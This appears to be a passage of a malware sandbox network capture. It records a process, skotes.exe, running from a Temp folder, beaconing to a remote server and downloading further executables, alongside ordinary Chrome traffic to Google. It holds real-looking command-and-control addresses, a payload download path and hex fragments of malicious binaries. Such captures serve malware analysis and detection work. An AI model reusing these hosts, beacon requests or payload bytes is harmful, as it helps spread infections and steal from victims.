Nov 22, 2024 17:10:10.972922087 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 16:10:10 GMT Content-Type: application/octet-stream Content-Length: 6821123 Last-Modified: Fri, 22 Nov 2024 11:16:29 GMT Connection: keep-alive ETag: "6740680d-681503" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 75 0b 06 21 31 6a 68 72 31 6a 68 72 31 6a 68 72 85 f6 99 72 39 6a 68 72 85 f6 9b 72 bd 6a 68 72 85 f6 9a 72 3c 6a 68 72 b1 11 95 72 33 6a 68 72 b1 11 6c 73 23 6a 68 72 b1 11 6b 73 38 6a 68 72 b1 11 6d 73 05 6a 68 72 38 12 eb 72 38 6a 68 72 38 12 ef 72 33 6a 68 72 38 12 fb 72 36 6a 68 72 31 6a 69 72 3c 6b 68 72 bf 11 6d 73 17 6a 68 72 bf 11 68 73 30 6a 68 72 bf 11 97 72 30 6a 68 72 bf 11 6a 73 30 6a 68 72 52 69 63 68 31 6a 68 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 00 c8 1b 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 21 00 cc 02 00 00 7c 05 00 00 00 00 00 b0 a1 01 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$u!1jhr1jhr1jhrr9jhrrjhrr<jhrr3jhrls#jhrks8jhrmsjhr8r8jhr8r3jhr8r6jhr1jir<khrmsjhrhs0jhrr0jhrjs0jhrRich1jhrPEde"!\|@`04dPP$pT@p.text~ `.rdataj@@.datak@.pdata$P&@@.didat@_RDATA\@@.rsrc@@.reloc@B
Nov 22, 2024 17:10:10.972937107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 8d 0d c9 e2 03 00 e9 54 07 00 00 cc cc cc cc 48 8d 0d c9 ca 02 00 e9 14 Data Ascii: HTHH(stH(HsH(H^HkQHH(H(Hu]HH(HAH(HA
Nov 22, 2024 17:10:10.972955942 CET	1236	IN	Data Raw: 26 4d 8b c4 c7 84 24 20 10 00 00 2e 00 5c 00 48 8b d6 48 8d 8c 24 24 10 00 00 e8 ae 6c 00 00 48 8d bc 24 20 10 00 00 44 8b 84 24 90 20 00 00 48 8b d7 48 8b cb e8 c7 26 00 00 84 c0 75 44 4d 8b c4 48 8d 54 24 20 48 8b cd e8 47 6e 00 00 84 c0 0f 85 Data Ascii: &M$ .\HH$$lH$ D$ HH&uDMHT$ HGnGH$0 H3L$@ I[8IkHIA_A^A\_^HHXHhHpWH0A@LHH@HAkt4\|$`t+Ht!HD$ DL@
Nov 22, 2024 17:10:10.972966909 CET	1236	IN	Data Raw: 00 48 33 cc e8 68 7f 01 00 4c 8d 9c 24 a0 00 00 00 49 8b 5b 10 49 8b 73 18 49 8b e3 5f c3 cc cc cc 48 89 5c 24 08 57 48 81 ec a0 00 00 00 48 8b 05 b4 ce 03 00 48 33 c4 48 89 84 24 90 00 00 00 48 8b fa 48 8d 05 5b ce 02 00 66 48 0f 6e c0 33 d2 0f Data Ascii: H3hL$I[IsI_H\$WHHH3H$HH[fHn3HL$`D$ DB D$0D$@D$PY$HL$ $H\|$ $sH$H3~H$H_A`Ls"DHJA`A`sIIAB`
Nov 22, 2024 17:10:10.972974062 CET	1236	IN	Data Raw: 41 56 48 81 ec 40 08 00 00 48 8b 05 05 ca 03 00 48 33 c4 48 89 84 24 30 08 00 00 41 b8 00 04 00 00 48 8d 54 24 30 e8 aa fd ff ff 33 f6 84 c0 74 71 48 8d 5c 24 30 48 89 5c 24 20 8d 6e 0d 44 8d 76 0a 66 39 2b 74 06 66 44 39 33 75 06 48 83 c3 02 eb Data Ascii: AVH@HH3H$0AHT$03tqH\$0H\$ nDvf9+tfD93uHH\$ f93tEHHHuAHHHtf7HHT$ 3\HH\$ HuH$0H3yL$@I[IkIs I{(IA^@SH uyuH [H
Nov 22, 2024 17:10:10.973009109 CET	1236	IN	Data Raw: eb 3e 83 7b 14 01 75 0f ff 15 db bc 02 00 83 f8 6d 75 04 33 c0 eb 29 83 7b 14 00 75 1a bf 00 80 00 00 48 3b f7 76 10 ff 15 bc bc 02 00 83 f8 21 75 05 44 8b c7 eb be 83 c8 ff eb 04 8b 44 24 40 48 8b 5c 24 48 48 8b 6c 24 50 48 8b 74 24 58 48 83 c4 Data Ascii: >{umu3){uH;v!uDD$@H\$HHl$PHt$XH0_H\$Ht$WH HHH@(HHHHB 3DBHHA(HHE3HHHA HHt$8HH\$0H _H(HIHu2 H(
Nov 22, 2024 17:10:10.973040104 CET	776	IN	Data Raw: 4d 8b c5 49 2b c7 49 8b d6 49 3b c5 48 8b cb 4c 0f 42 c0 e8 a1 fa ff ff 83 f8 ff 41 0f 44 c5 03 f0 83 fe ff 8d 04 3e 0f 44 c7 4d 03 fd 8b f8 4c 3b fd 72 b2 45 33 ed eb 79 44 88 ac 24 98 00 00 00 44 88 ac 24 80 00 00 00 44 88 6c 24 30 44 39 6b 1c Data Ascii: MI+II;HLBAD>DML;rE3yD$D$Dl$0D9kuHD9kuBHD$0HS:HD$ L$L$H)9D8$D8$u={t7HS:H)w{u(D8ku"~H;sHcLH+C)~HcHK0H$
Nov 22, 2024 17:10:10.973052025 CET	1236	IN	Data Raw: 8b f0 4c 8b fa 48 8b f9 4d 85 c0 75 07 b0 01 e9 18 01 00 00 83 79 14 01 4c 8d 71 08 75 0e b9 f5 ff ff ff ff 15 04 b5 02 00 49 89 06 41 bd 00 40 00 00 83 64 24 70 00 40 32 ed 83 7f 14 00 74 46 33 db 48 85 f6 74 65 8b c6 4a 8d 14 3b 2b c3 4c 8d 4c Data Ascii: LHMuyLquIA@d$p@2tF3HteJ;+LL$pEHH+I;IDBHd$ @u+IH;r!ILL$pHd$ DI@@uy"tsumE3HW:H&tDL$pH;VNHHHC(
Nov 22, 2024 17:10:10.973063946 CET	224	IN	Data Raw: c0 75 13 45 33 c0 b2 01 48 8b cb e8 b1 03 00 00 85 c0 40 0f 94 c5 40 8a c5 eb 02 32 c0 48 8b 8c 24 20 10 00 00 48 33 cc e8 ec 68 01 00 4c 8d 9c 24 30 10 00 00 49 8b 5b 28 49 8b 6b 30 49 8b 73 38 49 8b e3 41 5f 41 5e 5f c3 e8 ce 6a 01 00 cc cc 48 Data Ascii: uE3H@@2H$ H3hL$0I[(Ik0Is8IA_A^_jH\$W0hH+H&H3H$ H2u'AHT$ HftHL$ H$ H3XhH$HH0_H\$W0
Nov 22, 2024 17:10:10.973073006 CET	1236	IN	Data Raw: e8 74 68 01 00 48 2b e0 48 8b 05 a2 b7 03 00 48 33 c4 48 89 84 24 20 10 00 00 48 8b f9 ff 15 c6 af 02 00 85 c0 0f 95 c3 85 c0 75 27 41 b8 00 08 00 00 48 8d 54 24 20 48 8b cf e8 e2 13 00 00 84 c0 74 10 48 8d 4c 24 20 ff 15 9b af 02 00 85 c0 0f 95 Data Ascii: thH+HH3H$ Hu'AHT$ HtHL$ H$ H3gH$HH0_H(H(H\$W0gH+HH3H$ H&u$AHT$ HLtHL$ H$ H3
Nov 22, 2024 17:10:11.092654943 CET	1236	IN	Data Raw: 83 f8 ff 0f 84 86 00 00 00 45 84 e4 74 0f 48 8b 4c 24 48 48 8d 54 24 50 e8 6c 56 00 00 45 84 f6 74 0d 48 8d 54 24 60 49 8b cf e8 5a 56 00 00 40 84 ed 74 0d 48 8d 54 24 58 49 8b cd e8 48 56 00 00 48 8b 4c 24 40 48 8d 44 24 50 41 f6 dc 4d 1b c9 4c Data Ascii: EtHL$HHT$PlVEtHT$`IZV@tHT$XIHVHL$@HD$PAML#HD$X@ML#HD$`AHH#_HL$@\tH&H$pH3bHA_A^A]A\_^][H\$Ht$ W0bH+HH3H$ Hu)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49945	185.215.113.43	80	8572	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 17:10:24.904978991 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 32 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008217001&unit=246122658369
Nov 22, 2024 17:10:26.298104048 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 16:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49951	31.41.244.11	80	8572	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 17:10:26.722619057 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 22, 2024 17:10:28.057568073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 16:10:27 GMT Content-Type: application/octet-stream Content-Length: 4377088 Last-Modified: Fri, 22 Nov 2024 15:18:23 GMT Connection: keep-alive ETag: "6740a0bf-42ca00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 30 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 60 c4 00 00 04 00 00 25 54 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 15 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 14 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is20J@`%TC@ _qs px'@.rsrc p'@.idata q'@ 7q'@qgdzfrry '@dlceznyc B@.taggant00"B@
Nov 22, 2024 17:10:28.057617903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 17:10:28.057691097 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 17:10:28.057729006 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 17:10:28.057781935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: qG.u}K D?fJkO%
Nov 22, 2024 17:10:28.057816029 CET	448	IN	Data Raw: 1e 32 40 e1 67 85 02 ce 19 b1 18 9a 27 39 3a 0a d3 37 d8 1d 12 e1 42 bd 26 f5 b2 f6 c9 ea ae 6e 2d f6 c9 f1 6f 42 36 4a 1b 6f 69 67 73 f4 4d cd 7e 90 06 59 92 35 fd 03 05 e6 6e d2 4b 79 ad b4 4e e9 e0 02 14 ef b1 64 b0 3a a1 5a 21 97 c4 da 79 af Data Ascii: 2@g'9:7B&n-oB6JoigsM~Y5nKyNd:Z!y.&?&YHOk/HHrJq+,L(S(+Ip<Pp:[IWq:mI^i4\@y}`E\|'AUk5"ZF-u: e}$)
Nov 22, 2024 17:10:28.057849884 CET	1236	IN	Data Raw: 09 48 ba 90 80 37 f8 0c 56 70 e3 92 99 38 df 25 fd b9 92 8f 95 0c 91 ea 85 35 a6 61 85 08 03 11 c8 b5 b5 a8 c0 0a 25 fc c8 05 4f 4f 62 fe b4 6c eb 8e b0 45 a0 69 68 3f 1a d6 a2 2d 46 85 44 73 5e af 15 5b 63 f8 8a 57 e4 0e d3 16 2a 58 30 3a de 19 Data Ascii: H7Vp8%5a%OOblEih?-FDs^[cWX0:N3h,\Df!(y"x'Du#TucH gWIgz)p[SaaM.MJkU"Is~Tj&9WQ)CfO?D4
Nov 22, 2024 17:10:28.057893038 CET	1236	IN	Data Raw: e7 85 9e 88 b3 aa 32 88 f9 19 1c fa c5 94 eb e5 0a 29 e8 8e 80 45 64 9b 07 7c a7 5c 01 1e ef e5 c5 40 b9 48 ff 6e 65 d6 d2 01 f8 0c da 15 f2 94 14 17 af d6 32 86 c7 a0 de 15 a7 69 bc 26 cf 00 f1 f1 6d e8 bf 5e ab c9 c5 c5 cf a4 1c 40 62 ab 13 13 Data Ascii: 2)Ed\|\@Hne2i&m^@bmhNfb5~22M>b~/(gVR_/[l`JaDR:~)%$cY~diMMyzmv\|pJLx_Hj
Nov 22, 2024 17:10:28.057926893 CET	448	IN	Data Raw: e2 c9 4f 40 cd 3c 2f 6e 19 f6 4a 7b c6 fa ac 88 15 43 b9 2d 26 0f b9 9f fd 4a ab 86 63 05 57 70 16 de c7 de 1f 5c 80 c6 fb 77 73 4b b8 50 b8 5c 40 63 b7 a4 41 46 76 5a d9 69 10 43 36 d5 ab cc 3a 29 be 47 48 a3 50 b0 46 dd cf 20 8d cf 7c 2f a3 5f Data Ascii: O@</nJ{C-&JcWp\wsKP\@cAFvZiC6:)GHPF \|/_OI(z ]Iu=ph7SO!GCt1:-hBQsHY}EHHDGbEgDL'NVd[j%'+&1[iY
Nov 22, 2024 17:10:28.057965040 CET	1236	IN	Data Raw: 17 8e cf 57 26 a7 ce 96 63 31 62 d2 8d ef 2e bb a3 49 c9 3f c6 5b 9e 4e d1 05 f7 15 ea 7a 5a da 87 28 3a 86 02 0c 1f 9f fd 25 22 c1 4e e7 33 5d 44 c2 74 4c 4a ad f7 95 13 f1 de cb cf 31 e8 79 dd 0a dc 60 d2 78 d4 1c fc 16 5a 26 c6 3c 09 af 68 d9 Data Ascii: W&c1b.I?[NzZ(:%"N3]DtLJ1y`xZ&<hz?W\|QWZ:$s-X6[jO1&[i?7G8>w.`G/~M^V{r7ItsqH.7 ~O0F>`Q=?.u2E%,A(
Nov 22, 2024 17:10:28.177869081 CET	1236	IN	Data Raw: 4f 31 35 5c 63 ab c3 65 ea 17 90 c7 f7 6d d2 f3 b7 54 db bd d2 0e b4 8d 95 f9 b6 8f 27 3b 33 4b ff af c2 60 3e 04 07 fa a7 c1 63 4d 46 9e 5c 53 81 0d 20 7d d3 10 e3 80 dd 66 b3 56 c1 e9 b6 8c d9 1e 64 33 c7 ea bf 54 1a 6f e5 57 fd 11 c0 5a d1 66 Data Ascii: O15\cemT';3K`>cMF\S }fVd3ToWZfhP,/\|l@haDU=O;\|OJU[S*pg)nB#E8Z2\|84fy_KOUU75UygY+EnMHZ;}4fzB

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49704	142.250.181.68	443	2596	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:38 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJe2yQEIo7bJAQipncoBCJr0ygEIlaHLAQiFoM0BCNy9zQEIucrNAQi/0M0BCMbRzQEIutTNAQjK1s0BCKfYzQEI+cDUFRjymM0BGLnSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 16:08:39 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:08:39 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Tez2QcdupRep0oVg6MXCTw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 16:08:39 UTC	124	IN	Data Raw: 33 31 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 67 6f 6f 67 6c 65 20 70 69 78 65 6c 20 74 61 62 6c 65 74 22 2c 22 63 74 20 73 74 75 64 65 6e 74 20 6c 6f 61 6e 20 72 65 69 6d 62 75 72 73 65 6d 65 6e 74 20 70 72 6f 67 72 61 6d 22 2c 22 73 63 68 6f 6f 6c 20 63 6c 6f 73 69 6e 67 73 20 6b 79 20 74 6f 64 61 79 22 2c 22 62 72 79 63 65 20 75 6e 64 65 72 77 6f 6f 64 20 6d 69 63 Data Ascii: 314)]}'["",["google pixel tablet","ct student loan reimbursement program","school closings ky today","bryce underwood mic
2024-11-22 16:08:39 UTC	671	IN	Data Raw: 68 69 67 61 6e 20 66 6f 6f 74 62 61 6c 6c 22 2c 22 67 6f 6f 67 6c 65 20 63 68 72 6f 6d 65 20 62 72 6f 77 73 65 72 20 64 6f 6a 22 2c 22 63 6f 6c 6c 65 67 65 20 67 69 72 6c 73 20 73 65 61 73 6f 6e 20 33 22 2c 22 65 6c 64 65 72 20 73 63 72 6f 6c 6c 73 20 36 20 6f 66 66 69 63 69 61 6c 20 72 65 76 65 61 6c 22 2c 22 72 65 64 64 69 74 20 6f 75 74 61 67 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 Data Ascii: higan football","google chrome browser doj","college girls season 3","elder scrolls 6 official reveal","reddit outages"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u
2024-11-22 16:08:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49705	142.250.181.68	443	2596	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:38 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49706	142.250.181.68	443	2596	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:08:38 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJe2yQEIo7bJAQipncoBCJr0ygEIlaHLAQiFoM0BCNy9zQEIucrNAQi/0M0BCMbRzQEIutTNAQjK1s0BCKfYzQEI+cDUFRjymM0BGLnSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 16:08:39 UTC	1119	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 22 Nov 2024 16:08:39 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 16:08:39 UTC	271	IN	Data Raw: 31 63 61 31 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1ca1)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-22 16:08:39 UTC	1390	IN	Data Raw: 75 30 30 33 64 5c 22 67 62 5f 50 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 6b 64 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 Data Ascii: u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabind
2024-11-22 16:08:39 UTC	1390	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 Data Ascii: role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" 